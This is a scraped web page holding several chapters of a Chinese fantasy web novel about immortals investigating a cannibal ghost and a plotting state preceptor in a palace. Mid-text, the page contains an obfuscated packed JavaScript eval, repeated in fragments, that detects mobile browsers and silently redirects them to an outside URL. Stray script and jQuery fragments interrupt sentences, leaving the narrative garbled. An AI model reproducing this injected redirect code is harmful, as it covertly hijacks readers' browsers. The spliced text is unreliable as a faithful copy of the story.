乐师们继续奏乐,大臣们该吃吃该喝喝,一派其乐融融的景象。 柳问坐在角落里,见无人注意到自己,便将方才飘到桌边的金羽拾了起来,对着灯火仔细观看。 怎么像是普通的金叶子?拿回去给囡囡玩算了,柳问腹诽道,他将东西塞进了袖子里,举起酒盏装作一副很开心的样子继续饮酒了。 - 言如期抬着化作吐金鸟的鸣珂走出了宫殿,小黄门提着灯上前来为她领路,“奴才小李子,大人跟着奴才来吧。” 言如期递他两片金叶子,笑道:“这是吐金鸟的金叶子,便送予公公吧,就当讨个好彩头。” 小李子愣了一下,笑眯眯地将金叶子收进了袖子里,“御鸟使客气了,这是奴才的职责,您这边请吧。” 举行宴会的保和殿位于皇城中心,而上驷院位于最西北端,小李子得了好处,自然不吝啬提点言如期几句,一边领路一边为他介绍沿路的宫殿,言如期对什么御书房、御花园都不关心,他只在意皇帝的三个媳妇住在哪里。 “皇后娘娘和小公主本来是住在椒房殿的,但是国师说椒房殿上的瓦会影响国运,需要全数更换,皇后娘娘就搬去离姜妃的宝慈宫最近的集英殿了,换了瓦之后也没有搬回来。” 影响国运?言如期不免腹诽,恐怕国师自己才是对楚国国运影响最大的人吧,为了给凝贵妃扫清障碍,他可真是煞费苦心。 “那凝贵妃呢?”他继续问。 他们恰好来到了一处宫殿门口,小李子提着灯往里一指,道:“这便是陛下指给凝贵妃的宫殿,最大最气派的福宁宫。” 言如期仰头看着幽深黑暗的宫殿,只有屋檐上的琉璃瓦反射着明月皎洁的光辉,心道这黑布隆冬的,他还以为是冷宫呢。 小李子解释道:“贵妃只在这里住了几日,陛下嫌福宁宫太远了,便让凝贵妃宿在了养心殿。” 言如期懂了,所以现在皇帝和凝贵妃同吃同住,白天坐一张椅子,夜里躺一个被窝,形影不离。这样一来,倒是方便皇帝对爱妃动手动脚了,但实在是不方便他下手。 保和殿传来的喧闹声逐渐远去,宫殿道路两侧每隔一段距离便放置着一个石灯笼,里面燃着昏黄烛火,或许是点灯的宫人偷懒没有点灯,又或是烛火燃尽,被夜风吹灭了,离皇城中心越远,石灯毫无光亮,道路愈发幽深黑暗,凄苦逼仄感扑面而来。 夜风呼呼地吹,拍打着关不严实的老旧门窗,发出“吱嘎吱嘎”的响声,搭配着风吹进孔隙产生的呜呜风啸,就好似有一猛兽躲在无人的角落里,兀自咀嚼着骨与肉,吱嘎吱嘎,吱嘎吱嘎。 余光忽然瞥到了什么,言如期朝边上的石灯笼走了过去。 小李子并未察觉一直跟在身后的人离开了,他自顾自往前走,只觉得今夜的风格外的冷,忽然,手中气死风灯的火焰开始摇晃,月光将影子拉得很长,漆黑的人影在宫墙上缓慢移动,忽而被另一屋檐的影子遮挡住了,就好像一个人忽然被断了头。 小李子浑身的汗毛都竖了起来,脑海里无数个鬼故事飘过,他安慰自己,没事的没事的,这世上没有鬼,就算是有鬼,就去吃旁边那个御鸟使吧,不要吃他这种安分守己的老实人…… 小李子一个激灵,不对不对,一直跟在他身边的御鸟使呢?他立即扭头四处望,然而宫道上空空荡荡,除了他没有一个活人。 他的声音带了哭腔:“御鸟使?御鸟使大人?你去哪了?”不会真的被鬼吃了吧,最近宫里确实流传着恶鬼吃人不吐骨头的传言来着…… 背后忽然吹来一阵风,冰凉的气息拂过耳畔,好似有个人贴着他的耳朵,在说:“我在这……” “哇——”小李子大叫一声,腿一软就摔了个狗啃泥,手中气死风灯骨碌碌滚了出去,他躺在地上,双手紧紧捂住了眼睛,求饶道:“别吃我别吃我,我皮糙肉厚一点也不好吃!” 言如期一脸无语地看着躺在地上滚来滚去吱哇乱叫的小李子,心想他就是弯腰捡了个东西,这家伙怎么就跟鬼上身了似的? 他轻轻踢了踢小李子的腿,道:“是我,公公看见什么了,怎么吓成这样?” 小李子这才认出来是御鸟使的声音,他张开手指,透过指缝往外看,见御鸟使站在月光下,肩头还蹲着那只金色神鸟,正拿着圆溜溜的大眼睛望着他。 小李子顿觉一阵尴尬,恨不得找个地缝 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小李子道:“哪能骗您呐!是奴才隔壁屋的小顺子亲眼所见!那天夜里他尿急,去茅厕的路上看见那鬼的,一开始是个长头发的女鬼,躲在角落里,手里拿着一条人腿在啃,见到小顺子以后,女鬼就咧开嘴笑了,脸和身体都一点一点变成了男人的样子,可把小顺子吓得不轻,回来以后病了好几天呢。” 一般的鬼自然没有这等神通,小顺子看到的鬼恐怕是已经成了鬼修,但是……言如期继续问道:“既然那个忽男忽女鬼会吃人,又已经看见了小顺子,那它为什么没把小顺子吃了,还放他回去了?” 这个问题倒是把小李子给问住了,他拧起眉,纳闷道:“对啊,那小顺子是怎么从鬼的手里逃脱的?” 上驷院将近,隐隐有野兽低吼声传来,小李子怕鬼也怕老虎,走到这里就不敢继续往前了,他擦了擦额头的汗,赔笑道:“御鸟使大人,前面直走就是上驷院了,奴才还赶着回去给小顺子送饭呢,就送您到这了,还请您见谅。” 言如期微笑:“不打紧,我自己去就可以了,既然公公有事要忙,便赶紧回去吧。” 小李子感激御鸟使的善解人意,说了一通吉利话才提着灯回去了。 言如期从袖中取出一张符纸朝小李子挥去,符纸便贴在了他的衣服上,符纸逐渐变得透明,直至完全隐形。等小李子的身影从拐角处消失以后,言如期才转身走进了上驷院。 上驷院早已得到了姜国御鸟使前来下榻的消息,为数不多的宫人早已等候良久,等言如期和鸣珂一到,便手脚麻利地各自安排他们的住处——吐金鸟得到了兽园内最大的房子,干净整洁,吃食水源一应俱全,而言如期也被安排在了离吐金鸟最近的上房。 一通忙碌过后,上驷院安静下来,所有人都进入了梦乡,除了鸣珂和言如期。 鸣珂按照柳逸直教的方法,在上驷院给她安排的地盘上插了阵旗,然后将一个事先准备好的纸鸟放了进去,纸鸟立即变成了一个栩栩如生的吐金鸟,绝对可以以假乱真。言如期也以同样的方法在房间里造了一个假的“丛云”。 做完这些,两人才敛去声息往集英殿走去。 见周围没有人了,鸣珂也化作人形,抢了言如期手里的东西,对着昏暗的月光一看,才看清楚那是一截人的指骨,上面没有一丝血肉,骨缝处还隐隐泛着黑色。 她道:“看来恶鬼吃人的事情是真的了。” 言如期低声道:“恐怕还不是普通的鬼。” 鸣珂哼了一声,将指骨上下抛了抛,一副胸有成竹的样子,“怕上面,来一个打一个,来两个我打一双,小小恶鬼,当我鸣珂怕他们不成?” 言如期从她手中抢了指骨回来,收进芥子袋里,顺势牵住了她的手,道:“还是小心为妙。” 鸣珂笑着将身子贴近言如期,揽着他的胳膊,仰头看着他的眼睛,撒娇道:“你会保护我的吧?” 一丝薄红攀上言如期的面颊,他抬手掩唇干咳一声,点头道:“你放心,我绝不会弃你于不顾。” 凄惨的月光下,一男一女走在逼仄的宫道上,以为他们可以一直这样走下去。 81. 集英殿 夜宴结束了很久,铜漏里的水已经流了大半,四下静悄悄的,整个楚王宫都陷入了沉睡,只有皇后的集英殿内室留着一盏明灯。 室内只有文唤音和姜芪两人,皆衣冠齐整,正襟危坐,殿门并未落锁,等待着约定之人来访。 姜芪动了动坐麻了的屁股,再一次担忧地看向房门,心想宫宴上她也没来得及和姜旻互通消息,他找来的人当真靠谱吗,怎么这么晚了还没来?不会连集英殿都找不到吧? 文唤音瞥了姜芪一眼,安慰道:“莫要着急,说不定已经在来的路上了,你就算不相信山到源的仙长,也该相信令弟才是。” 姜芪腹诽,她是不太相信所谓山到源的仙长,但她也不相信姜旻啊!她和亲出嫁之时姜旻不过十二岁,虽然这孩子自小便聪慧过人,享有神童的美名,但七年未见,怎知他不是另一个仲永?更何况即便是第一仙门山到源的仙长,也不见得是个好的,若是姜旻被骗了可怎生是好? 姜芪不过拳头大的心里装满了天大的忧虑。 这时,忽有夜风呼啸,房门吱嘎一声轻响,文唤音和姜芪皆站起身来,眼睛紧紧盯着那扇半开的殿门。 没过多久,一只金色的鸟头探了进来,鬼鬼祟祟地在殿内环视一圈,那样子活脱脱就像是半夜三更摸进别人家里想要干点坏事、又唯恐被人察觉的小贼。 鸣珂见除了皇后和姜芪再无他人,这才大喇喇推开殿门走了进去,抖擞翅膀化作人形。 这大变活人的场景让文唤音和姜芪不约而同被吓了一跳,紧接着,又有一人走进了殿门,是在夜宴上见过的御鸟使,他反手合上了殿门,提步朝她们走来。 文唤音冷静下来,看着对方的眼睛,问道:“您二位就是姜国太子请来的仙长吗?” 言如期拱了拱手,道:“在下山到源言如期。” 鸣珂在他身侧站定,同样抱拳拱手,神气道:“山到源鸣珂,吐金鸟就是我!” 她一点也不客气,径直走到皇后对面坐下,拿起桌上的糕点津津有味地吃起来,“抱歉,之前没吃饱,这会又饿了。” 文唤音没想到仙长竟然如此平易近人,紧绷的神经稍微放松,提起茶壶给她二人倒了茶水,道:“这会也没有什么好东西,招待不周,还请您见谅,您需要什么尽管提,明日我再派人给您准备。” “好说好说。”鸣珂笑眯眯道。 她从自己袖中取出了一封信递给了姜芪,言道:“这是令弟托我交给你的。” 姜芪立即展露笑颜,起身感谢。 言如期轻轻抿了一口茶,没有多说废话,开门见山道:“皇后殿下,逐月塔必须尽快摧毁,否则贵国大厦将倾。” 文唤音心下骇然,“仙长何出此言?逐月塔有问题?又为何会关系到国运?” 言如期道:“简而言之就是有人想要窃取楚国龙脉里的龙气,这个人要么是国师,要么是凝贵妃。若是龙气被偷走,楚国没了护国龙脉,自然危如累卵。” 文唤音立即意识到了事态的严重性,她正色道:“我会通知负责督造逐月塔的展主事,让他延缓进度,尽量拖延时间。” 言如期点了点头,继续道:“我们要先探一探凝贵妃的底细,但最好不要在皇宫内动手,否则会影响贵国气运,敢问近几日陛下和凝贵妃的行程安排如何?” 文唤音道:“楚祯一向随心所欲,现如今更加肆无忌惮了,完全照着自己的性子来,他的行程毫无规律,不过许凝每隔三日必然会出宫去一趟国师府,算算日子,应该是后日。” 许凝?言如期了然,想必这就是凝贵妃的名字了。 一直缄默不语的鸣珂忽然眼睛一亮:“国师府?” 鸣珂立即挑眉弄眼道:“国师和凝贵妃是有什么不可告人的关系吗?” 明眼人一看就知道她指的是什么关系,然而事实并不合适她期望的那样。 文唤音摇头,“据我所知,许凝和崖昱并非情人关系,曾有宫女听到,许凝称呼崖昱为……” 文唤音顿了一下,鸣珂不由自主把头凑近她,眼中闪着好奇的光芒,唇角微勾,期待地重复:“称他为?” 文唤音微笑:“主人。” 鸣珂纳闷:“主人?她是国师的狗吗?为什么叫主人?” 她将手按在头顶,摸着头发从头顶捋到了发尾,一副不可置信的样子,“啊?主人?和我想的完全不一样啊……” 言如期想,若真如此,那凝贵妃就是国师的手下了,所以逐月塔的阵法就是国师的手笔,凝贵妃不过是个幌子。 但是这般肆无忌惮,惹得百姓怨声载道,就连文唤音和姜芪这等毫无灵力之人都能察觉到凝贵妃不是凡人,国师此人,究竟是心大,还是有恃无恐? 言如期打断了鸣珂莫名其妙的心碎呻吟,看向文唤音道:“你们手里有多少兵马?” 文唤音道:“两千羽林卫掌握在国师手里,我们能用的只有五城兵马司和京兆府一共一千人,我叔父手里还有两千骑兵,驻扎在距离卧泉三十里的塘西城,一炷香时间即可赶到。” “让他们随时待命,国师和凝贵妃就交给我们,如何镇压叛军、稳固局势,就是你们的事了。” 文唤音点头:“明白,多谢仙长。” 言如期将柳逸直给的三张符纸放在了桌子上,道:“我们有所动作,国师那边自然也不会闲着,你们万事要小心,这三张符纸你们收好,危急时刻可保你们一命。” 久则生变,言如期和鸣珂没有多待,即刻离开了集英殿。鸣珂又偷懒地变成了吐金鸟的样子蹲在言如期肩头,见他没有原路返回,而是朝相反方向走去,她问道:“要去哪?” 言如期低声道:“去看看小顺子。” 一人一鸟在暗夜中潜行。 与此同时,养心殿,奢华的床榻上悬挂了好几层薄纱,透过纱帐,可以望见依偎在一起的男女,楚祯紧紧搂着怀中女子,将头窝在了女子的肩窝之中,他眼下青黑,面颊比白日里更加凹陷,明明是一副虚弱至极的样子,他的唇边却诡异地浮起了一抹笑容,好似在做着令人心情愉悦、永远也不想醒来的美梦。 “爱妃……” 楚祯无意识地从唇边泄出一句梦呓,然后砸吧着嘴,把脑袋往美人怀里拱了拱。 许凝睁开眼睛,眼中一片清明,楚祯还在往她怀里拱着,单薄的寝衣被蹭开,露出大片白皙滑腻的肌肤,她嫌恶地皱起眉,一把推开了身上的男人。 巨大的力道让皇帝的头径直撞上了床边的栏杆,“砰”地一声巨响在寂静无声的夜里格外分明,然而楚祯却好似感受不到痛意,没有一点醒来的迹象,抱着被子“爱妃”“爱妃”地叫个不停。 许凝泄愤似地踢了楚祯一脚,将人踢到了床边,只差一点就要滚下床去。 她直起身来,伸出纤纤玉手撩开了纱帐,散落在地上的衣裳一件件飞起来套在了她的身上,她赤足走向梳妆台,锃亮的铜镜上映出了寂静幽深的宫道,所谓的御鸟使步履稳健,肩头还蹲着一只金色的鸟。 涂着蔻丹的指甲轻轻划过镜面上男子的脖颈,红唇勾起一个似笑非笑的弧度,下一秒,镜面“咔嚓”一声裂开了一条巨大的裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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鸣珂对朝圣道的了解并不多,只知道他们用魔气代替灵气修炼,修为可一日千里,净做些杀人放火的勾当,为正道修士所深恶痛绝,她问道:“何以见得?” 言如期一边将衣裳穿回了小顺子的身上,一边道:“他们不是宣扬魔气也能像灵气一般为人所用吗?这就是稳固道心、保留神智的方法。” 鸣珂瞳孔放大,语气中难掩讶异:“食人血肉来压制魔气?” “他们惯用的手段了,我听师傅说,以前有个堕了魔的散修,原本他的修为只堪堪知行境,加入朝圣道以后,吸食了几千个人的血肉,短短半年之内修为就晋升到了知命境,杀回九州屠戮了好几座城池。” 鸣珂倒吸一口冷气,“如此丧心病狂?最后那畜牲怎么样了?” 言如期道:“被尧玦一剑斩杀。” 鸣珂倒吸两口冷气:“不愧是尧玦!但是我还是很疑惑,宣措虽然是千年狐妖,可尧玦是重明,是天地孕育的祥瑞之兽,两人的修为旗鼓相当,更何况尧玦还有人族强者助阵,可为何他们还是死在了青丘?” 青丘一案素来扑朔迷离,修行界众说纷纭,十八年过去也没有个定论,这个问题恐怕只有几个当事人知晓,可他们无一例外都已作古,同尧玦一起被埋葬在了历史尘烟之中。 半掩的房门被风吹开,寒风呼啸着穿堂而过,其余的门窗皆被风吹开,惨白的月光一下子照亮了昏暗的房间。 鸣珂看着一地月光,忽然想起了她知道的和尧玦密不可分的一个人——闫扶音,不,岚孟,她跟在尧玦身边那么多年,本就算是半个丹灵卫,可她假扮成普通人族,改名换姓考进丹灵卫,究竟是为了什么呢…… 82. 国师府 国师府地处卧泉城北边,距离皇城不过四条街的距离,据说原本是某个大臣的府邸,因为他直言进谏,痛斥楚祯昏庸无道,先皇打下的江山都要被他败光了,言之凿凿,简直是在楚祯的头上动土,楚祯自然是怒不可遏,雷厉风行地砍了他的人头,抄了他的家,将他的家眷都没入乐籍,家产都充入国库,一时间朝堂风声鹤唳,大臣们都夹紧了尾巴做人,生怕自己乌纱帽连着头颅一起落地。 后来国师得了楚祯的青眼,楚祯大手一挥,将占地宽广、清幽雅致的宅邸赐给了他。 国师府正大门不远处的府苑墙根处有一株巨大的梨树,洁白梨花开了满树,风一吹,花瓣便簌簌飘落空中,像是冬日里纷飞的大雪,晕染了一地霜白。 高处的树干忽然晃了一晃,一只骨节分明的手稍微拨开了花枝,露出了一双琥珀色的眼瞳,正凝神打量着不远处的国师府。夜里静悄悄的,整个世界都陷入了酣眠,国师府也不例外,四下黑漆漆的,没有一盏灯火,好像是沉睡中的猛兽,等待着有心之人造访。 另一只纤细柔嫩的手将花枝拨得更开,岚孟站在半蹲在树干上的柳逸直身后,打量着静悄悄的国师府,她问道:“如何?” 柳逸直没回头,将整个国师府都收入眼底,他道:“没有禁制也没有结界,不知是早已布下天罗地网,还是自信地没有任何防备。” 岚孟收回手,花枝弹了回来,几片洁白花瓣簌簌落到了柳逸直的头顶,她顺手将花瓣摘了。柳逸直只感觉头顶传来轻微触感,便听她道:“走吧。” 树干微动,花枝中早已没了那两人的身影,而国师府的外墙处,两个穿着夜行衣戴着头巾的人悄然逼近,身手矫健地翻过了院墙,轻松跳进了院子里,没有惊动一草一木。 两人摸着黑在府邸里转了小半圈,终于找到了书房所在。书房四周依旧没有禁制,只房门上挂着一把锁,这可难不倒柳逸直,他没有动用灵力,仅靠一根细细的铁丝就撬开了铁锁,他拉开门,侧身让身后的姑娘先进去,然后才闪身跳进房中,环顾四周,确定并没有人在窥探,然后才轻轻合上了房门。 今夜月光昏暗,屋里黑漆漆的,只能瞧见一排排堆满了书册和竹简的书架,直到岚孟从袖中取出了一枚萤石,往其中输入灵力,萤石逐渐亮起微弱的光芒,照亮了女子光洁圆润的下颌。她抬手扯落头巾,一直蜷在头巾里的乌黑青丝如瀑布般落下,她抬手捋了捋,舒了一口气,如释重负道:“现在轻多了。” 目睹了她全部动作的柳逸直哑然失笑,他朝她靠近,问道:“既然春天过去以后,头发才不会再生长,那在这之前,你不考虑把头发挽起来吗?行动会方便许多,也不会那么引人注目。” 岚孟随口道:“我不会挽头发,不然你以为我想这样散着吗?”她朝最近的书案走去,一手举着萤石,另一手翻阅着案上的书册。 毕竟她的修为是被尧玦的妖丹强行拔起来的,不是稳扎稳打一步一步修炼来的修为,终归不是自己的,所以化形后的这十多年,她把时间和精力全都用在了修炼上,对衣着仪容方面自然有所欠缺。在云登谷的话自然有热心肠、爱打扮的今望月为她捯饬,出了谷就只能靠她自己这双握得了刀剑却捏不住发簪的爪子了,所以她就果断放弃挽发了。 若是放在平时,她会用灵力固定头发,不让它随风乱飞,若是她想,甚至能将满头青丝塑成各种形状,但现在在国师的地盘她不好动用灵力,若是被发现了就遭殃了,以致于她一弯腰一低头,耳侧的青丝都会垂落眼前,十分地碍事。 柳逸直原本在书架上寻找有没有什么线索,余光瞥见她似乎很是苦恼,于是在书册间寻找的手无意识地收了回来,摩挲着腰间的芥子袋。 他忽然下定了决心,转身朝岚孟走去,从芥子袋里取出一方不过巴掌大的锦盒递给她,道:“送你。” 岚孟心道,这人怎么回事?他有没有眼力劲啊!还在危机四伏的国师府里做贼呢,忽然送她什么东西?要孔雀开屏也得分个场合吧? 柳逸直见她愣在原地没有反应,便单手推开锦盒的盖子,将里面的蓝色发带取了出来,自作主张地靠近她,将她冰凉柔顺的发丝尽数拢起,用发带在她脑后打了结,笑道:“这样就好了。”然后抽身离去,返回到书架边继续翻找了。 岚孟伸手抚上那根发带,一摸便知这东西不是凡品,上面有法阵的气息,依稀可以辨认是强大的守护阵法,约莫可以抵挡破妄境修士三息时间。 她将甩在腰际的发带尾端挪至身前,对着萤石微弱的光芒一看,才发现发带的颜色同她的瞳色十分相似,是深邃静谧的蓝,犹如冬日大雪之中的冰湖,点点星光点缀其中,又似夜幕之上的银河,闪烁着细碎的光芒。 岚孟抬眼觑着不远处书架前仔细翻找的男子,心想送她这么贵重的东西,难道真如鸣珂所言,他喜欢她? 虽然岚孟自诩对男女情爱一事并非一窍不通,但她化身人形以后接触到的男子,不是霜笛这等从小看着她长大的云登谷之人,就是在山到源结交的同门。前者都是长辈,后者俱为过客,不过点头之交,她也无心情爱,对这些人自然不曾关注。 但柳逸直确实是同她纠缠最多的人,满打满算,从屏基山开始,他们也就认识了半年,尽管她极力遮掩,可他也探破了她不少秘密。她的名字,她和尧玦的关系,她的心狠手辣,她的阴谋和手段,甚至于她春神神使的身份,说不定也被霜笛那倒霉玩意给捅出去了。 太过机敏也不见得是好事,果然还是应该找机会除掉他么?岚孟想。但是引魂灯还在他手里,她也不好过河拆桥,还是再看看情况吧,他是聪明人,若真对她有意思,自然知道该怎么做,说不定她还能从他身上得到点什么。 想清楚以后,岚孟便心安理得地收下了发带,将注意力重新放在了面前的书案上。虽然案上干净整洁,没有一丝落灰,但是砚台上的残墨早已干裂,像是许久未曾动过,几只毛笔甚至还未开笔,保持着刚制好的状态。 莫非国师并不在书房处理公务? 岚孟又在书案后面的立柜里翻找了一通,都是些花瓶、字画之类的杂物,找了半天也没找到什么有用的东西。她转而去找柳逸直,发现他已经走到了几排书架的最深处,正拿着一本书册在看,她凑过去,问道:“有什么发现吗?” 柳逸直将手中书卷递给她,指了指面前的书架,说:“全是木工相关的典籍,后面的两排也是。” 岚孟走马观花地浏览了一下手里的书,里面都是榫卯结构、构件尺寸比例什么的,纸张上磨损痕迹明显,像是被人翻来覆去看了很多次,书架上的其他书卷同样如此。 整个书房里不过五排书架,却有三排是和木工相关的书册,莫非国师喜欢做木工? 岚孟将书递了回去,柳逸直将其放回了原位,道:“去其他地方看看吧。” 两人将书房中的一切都回归了原样,然后轻手轻脚地离开了书房,往宅邸深处走去,穿过栽满了芍药和牡丹的庭院,便见院落中央有一座富丽堂皇的房子,一看就知道是这座宅邸最宽敞亮堂的主屋,想必就是国师的住处。 岚孟凝神感受了一会,没察觉到屋中有活人气息,反而是主屋北面的后罩房里睡着一个凡人,呼吸沉稳,似是沉入了美梦之中。 一般来说高门大院的后罩房常被用做是下人们的住所,或是堆放杂物的地方,但是国师府下人们多居住在前院的厢房里,独留一人孤零零住在后罩房,有些古怪。 岚孟偷偷摸摸来到窗外,给纸糊的窗户戳了个洞,眯起眼睛往里面看,屋子不算大,也没有很多家具,瞧着就是一间普普通通的下人房间,榻上的被窝里躺着一个人,没有丝毫灵力波动,确是普通的凡人无疑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15145827|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 柳逸直则推门走进了旁边的屋子,除了那凡人住的一间,这一排后罩房全都打通了,堆满了各种各样的木头,金丝楠木,梧桐木,百年沉香木,更别说几十种各式各样的锯子、锉刀、钻头等木工刀具。 紫檀木架子上陈列着栩栩如生的木雕,玲珑小巧的木笼里,一只翠鸟啄食着碗中的竹米,乌黑发亮的眼睛透着灵动;雄鹰展翅摆件栩栩如生,翎羽根根分明,锐利的爪子紧紧抓着一只老鼠,鹰的敏锐,鼠的绝望,展现得淋漓尽致;最高处还有一尊罗汉木雕,肌肉纹理清晰可见,一双眼瞳却透露着悲悯。 像柳逸直这样的外行人,也能看出来雕刻之人技艺了得,木材的纹理与雕刻相得益彰,没个十年八年的功力,断然刻不出来如此栩栩如生又意味深长的木雕。 这里似乎已经很久没有打扫过了,空气中弥漫着驳杂的木香,地上都是木屑,鞋子踩在上面会发出咔嚓咔嚓的轻响,忽然踢到了什么,岚孟低头一看,是个球形的物件,不是木头,倒像是什么动物的骨头,颜色洁白,上面还有细小的凹痕。岚孟弯腰将其拾了起来,发现是个雕了一半的鬼工球,内外十层皆被打磨成球状,最里面有几层尚未雕琢,其余每一层都雕刻了不同的纹样,有龙凤、游鱼、祥云等等,球面雕琢立体,是精巧繁复的牡丹花。 她伸手拨了一下,圆球立即传动起来,哗啦啦的清脆响声犹为悦耳。 “闫扶音,过来一下。”忽然听到了柳逸直的呼唤,岚孟随手将鬼工球放在了一旁的平头案上。 绕过摆满了木雕的架子,岚孟首先见到的是一个方桌,上面放置着一座木头拼搭起来的九层高塔。不过尺许高,但是完美复刻了塔的构造,榫卯相接严丝合缝,飞檐斗拱层叠而上,瓦当上的纹饰也清晰可见,赫然就是缩小了的逐月塔。 柳逸直站在方桌旁,仔细看着手里的图纸。是逐月塔的设计图,但是要比前几天他们在督造官展恪手里看见的要更详细,恐怕是设计初稿。 柳逸直将那张设计图放回了原位,道:“据说国师性格孤僻,虽然在朝堂上大肆搅动风云,但从不与其他官员结交,甚少在朝堂之外的场合现身,所以几乎没有人知道他成为国师之前是干什么的。 “书房里几乎都是木工的书,又有这么大一间做木活的房子,国师以前不会是个木匠吧?”岚孟猜测道。 “有这个可能。”柳逸直赞同道。 岚孟哂笑:“这人倒是多才多艺,又会雕木头,又会画阵法的。” “正好他现在也不在府里,先找找这里有没有阵法图纸吧。”柳逸直提议道。 于是两人开始在房中到处搜寻,尚未找到什么线索,便听见外面一阵争吵声,声音越来越近,两个人推推搡搡的影子映在了窗户上。 “吱嘎”一声,紧闭的房门被推开,脚步声杂乱而无序,那两人相继走了进来。 柳逸直眼疾手快地揽过岚孟的肩膀,两人蹲下来躲在了雕龙画凤的沉香木矮柜后面,不约而同地屏住了呼吸。 矮柜跟前有一面镜子,可以照到来人的下半身,所以岚孟只能通过身形与衣着判断闯入房中的是一男一女,男的穿着一身黑色夜行衣,女的则身着浅紫色劲装,腰间缠着一根皮鞭,鞭子被保养得油光水滑,似有银光流转其上。 “我都说了我毫不知情,你就是再逼问我,不知道的事情我还是不知道,你这疯婆子到底听不听得懂人话,为何总是揪着老子不放?” 男子控诉的声音传入耳中,岚孟无端觉得这声音似曾相识,于是朝旁边挪了挪,把头伸到了矮柜和墙壁的空隙之中,想要看得更清楚些。 下一秒,男子被踹飞出去,重重砸在了墙壁上,他吃痛地在地上扭,一偏头,便对上了一双漆黑的眼睛。 就像是看见了救星一般,他两眼发光,大声呼救道:“岚孟!原来是你!快救我!” 83. 妖格誓 岚孟心下骇然,她猛地往后退,然而却忘记了身后还有一人,柳逸直一时间来不及反应,被撞得往后一仰摔了下去,岚孟也结结实实摔在了他身上。 背后是个堆满了刻刀、矬子等工具的架子,被柳逸直一撞,木架子摇摇晃晃,几把锋利的刻刀从高处坠落,眼见着就要砸到岚孟身上,柳逸直眼疾手快地翻身将她压在了身下,手一挥袖,一阵疾风吹来,扭转了刻刀的方向,刻刀径直钉进了墙壁之中。 柳逸直心有余悸地舒了一口气,下一秒便听见一声冷冰冰的话语:“起开。” 这时他才感受到怀抱里温热柔软的触感,女子发间的幽幽香气传入鼻中,一抹薄红爬上耳廓,他连忙放开怀中之人,手脚并用爬了起来。 岚孟从地上爬了起来,她摔到了柳逸直身上,倒是没有伤着,只不过地上都是稀碎的木屑,全都沾到了她的头发上,一起身,发间的木屑便扑簌扑簌往下掉,她一边伸手掸着头发,一边狐疑地看着不远处被紫衣姑娘压制在墙边的男子。 是谁? 只见黑衣男子半靠在墙上,紫衣姑娘半蹲在他身侧,单手掐着他的脖颈,一脸冷漠地望着潜藏在房间之中的另外两人,冷艳美丽的脸庞上的冰霜忽然化开,她露出一个春风般的笑容好,道:“二位,又见面了。” 柳逸直礼貌地抱拳寒暄:“夏首座。” 正是夏澜熹和贺舟晏。 贺舟晏见岚孟一脸困惑,心道难道她忘记他了吗?立即叫嚷道:“是我啊!贺舟晏!我们在山到源见过的!” 夏澜熹心中冷笑,当初果然是她放走贺舟晏的。 贺舟晏?啊,她想起来了。岚孟勾唇一笑,装傻充愣道:“你认错人了吧,我不认识什么贺舟晏,我也不叫岚孟,不信你问他。”她指了指身侧的柳逸直。 柳逸直瞥了她一眼,岚孟立即朝他眨了眨眼睛,央求之意显露无疑,柳逸直只好硬着头皮配合道:“是这样不错……” 一声轻笑忽然打断了他的话语,只见夏澜熹松开了钳制着贺舟晏脖颈的手,打下一道金光,扣住他的脖颈,将他钉在了墙壁上。 她站了起来,双手环胸,是在对贺舟晏说话,眼睛却看着和自己隔着一个矮柜的岚孟,似笑非笑道:“你认错人了吧?这位姑娘姓闫,名扶音,可不是你口中的‘岚孟’。我想想啊……” 她将手放在下巴上作沉思状,弯月般的眉毛微微蹙起,慢慢在屋子里踱步,脚步声轻而缓,落在岚孟心头却重而沉。 “岚孟啊,这个名字好像在哪里听到过。我记得,很多年前,尧玦掌炬身边的一只小山雀好像就叫这个名字,据说是木灵化身,尧玦宝贝得跟眼珠子似的,从不将她示于人前,因此很少有人见过此妖真容。” 她在矮柜前停住脚步,两手撑在柜子上,眼睛紧紧盯着岚孟,笑道:“闫道友,你认识这只名叫‘岚孟’的山雀妖吗?” 岚孟勾了勾唇,脸不红心不跳道:“夏首座说笑了,我怎么会认识?尧玦都死了快二十年了,在下又是半年前才进的山到源,对这位前掌炬的事情,实在是知之甚少,更何况是他身边之人了。” “这样啊,”夏澜熹似乎信了,紧皱的眉头忽然松开,她粲然一笑:“既然姓贺的要找的人是岚孟,而不是道友你,那我就用不着束手束脚了。” 她抬起手,微微动了动食指,箍在贺舟晏脖颈处的金光立即收紧,贺舟晏的脖颈上立即传来钝痛,呼吸被扼住,窒息的感觉让他挣扎不止,脸色一点点变红,两眼突出,双腿用力蹬着。 岚孟面露不忍:“等等。” 夏澜熹又勾了勾食指,金光立即停止了收缩。 脖颈处蟒蛇缠绕般的感觉骤然褪去,贺舟晏得以喘息,咳了好几声,脸红鼻子粗地控诉道:“你,你可不能翻脸不认人啊,是辛念让我来找你还钱的。” “辛念?”柳逸直和夏澜熹异口同声地惊呼道。 岚孟简直想死的心都有了,这家伙是专门来揭她老底的吧?早知道她就不该多那句嘴,让他被夏澜熹掐死算了。 柳逸直狐疑地看着岚孟,看来花繁所言不虚啊,没想到她真的和辛念有所联系。 夏澜熹面露疑惑,她看向贺舟晏,问道:“辛念?那不是因为偷盗暾云炬而被山到源通缉的朝圣道魔修吗?” 贺舟晏翻了个白眼,啐了一口道:“我呸!什么朝圣道魔修,辛念和我一样,早就叛出朝圣道了,别把我们和那些疯子相提并论!” 他看向岚孟,完全没意识到他几句话就将岚孟的老底揭了个干净,他只知道,要是不抱住这根救命的稻草,夏澜熹那个疯婆子是绝对不会放过他的! 